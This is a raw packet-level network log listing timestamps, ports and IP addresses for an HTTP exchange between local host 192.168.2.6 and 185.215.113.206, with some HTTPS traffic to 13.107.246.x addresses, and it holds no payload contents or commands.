Nov 24, 2024 00:06:49.865170002 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.865210056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.865276098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.865312099 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.866075993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.866184950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.866226912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.866929054 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.866969109 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.867033005 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.867069006 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.867856979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.867896080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.867923021 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.867959976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.868689060 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.868726015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.868761063 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.868796110 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.876518965 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.876533031 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.877609015 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.877671957 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.881230116 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.881251097 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.881582022 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.881676912 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.882015944 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.882025957 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.882189989 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.882200003 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.882244110 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.903836012 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.903951883 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.923695087 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.945456982 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.945482969 CET	443	49880	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:49.975244999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.975333929 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.975380898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.975486994 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.975688934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.975775003 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.975779057 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.975816965 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.976583004 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.976644039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.976675987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.976713896 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.977267981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.977314949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.977370024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.977477074 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.978166103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.978205919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.978272915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.978316069 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.979011059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.979072094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.979108095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.979144096 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.979887009 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.979955912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.980074883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.980142117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.980762959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.980876923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.980885983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.981259108 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.981654882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.981743097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.981776953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.981810093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.982532978 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.982574940 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.982641935 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.982675076 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.983417988 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.983529091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.983577013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.984311104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.984363079 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.984581947 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.984648943 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.985202074 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.985251904 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.985280037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.985362053 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.986036062 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.986079931 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.986187935 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.986232996 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.986916065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.987045050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.987052917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.987797976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.987891912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.987931013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.988244057 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.988297939 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.988671064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.988723993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.988789082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.988893032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.989562035 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.989619017 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.989654064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.989687920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.990417957 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.990464926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.990475893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.990514994 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.991317987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.991379023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.991421938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.991533041 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.992185116 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.992253065 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.992316008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.992516041 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.993058920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.993138075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.993174076 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.993207932 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.993798018 CET	49880	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:49.993928909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.993976116 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.994102955 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.994148016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.994817019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.994864941 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.994864941 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.994895935 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.995748043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.995812893 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.995837927 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.995876074 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.996589899 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.996653080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.996722937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.996814966 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.997440100 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.997555017 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.997565985 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.997598886 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.998327017 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.998409986 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.998426914 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.998496056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.999202967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.999262094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:49.999300957 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:49.999335051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.000107050 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.000150919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.000190020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.000245094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.000971079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.001018047 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.001076937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.001115084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.001806974 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.001878977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.001907110 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.001931906 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.002701044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.002804041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.002851963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.003576994 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.003631115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.003637075 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.003671885 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.004470110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.004538059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.004559994 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.004592896 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.055887938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.056006908 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.056046009 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.056046009 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.056370974 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.056437016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.056479931 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.056515932 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.057204008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.057262897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.057267904 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.057301044 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.098548889 CET	443	49881	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.100898027 CET	49881	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.100915909 CET	443	49881	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.101382017 CET	49881	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.101387978 CET	443	49881	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.104424953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.104484081 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.104501963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.104794979 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.104836941 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.104887962 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.104893923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.104932070 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.105431080 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.105482101 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.105495930 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.105561018 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.106304884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.106400013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.106425047 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.106446028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.107208967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.107253075 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.107268095 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.107295036 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.108057022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.108110905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.108112097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.108146906 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.108956099 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.109006882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.109018087 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.109041929 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.109838963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.109870911 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.109899998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.109939098 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.110697985 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.110740900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.110743999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.110793114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.111583948 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.111625910 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.111648083 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.111684084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.112458944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.112510920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.112514973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.112543106 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.113328934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.113374949 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.113393068 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.113415956 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.114218950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.114253044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.114269018 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.114300013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.115086079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.115191936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.115242958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.115998030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.116049051 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.116070986 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.116115093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.116837978 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.116887093 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.116929054 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.121273041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.121321917 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.161339998 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.161809921 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.162039995 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.162307024 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.162326097 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.162337065 CET	49878	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.162342072 CET	443	49878	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.168064117 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.168116093 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.168179989 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.168845892 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:50.168867111 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:50.192378044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.192452908 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.192606926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.192658901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.192692041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.192725897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.192816019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.192857981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.193598986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.193641901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.193700075 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.193862915 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.194459915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.194504976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.194596052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.194690943 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.195346117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.195394039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.195425987 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.195530891 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.196225882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.196268082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.196324110 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.196358919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.197091103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.197185993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.197199106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.197320938 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.197964907 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.198143959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.198194027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.198837996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.198942900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.198990107 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.199734926 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.199784994 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.199836969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.199872971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.200597048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.200649977 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.200707912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.200879097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.201476097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.201522112 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.201584101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.201622963 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.202400923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.202455997 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.202478886 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.202514887 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.203238010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.203286886 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.203358889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.203622103 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.204133034 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.204272032 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.204303026 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.204999924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.205056906 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.205091000 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.205137014 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.205871105 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.205918074 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.205967903 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.206141949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.206722975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.206764936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.206831932 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.206873894 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:50.207619905 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:50.207662106 CET	49818	80	192.168.2.6	185.215.113.206
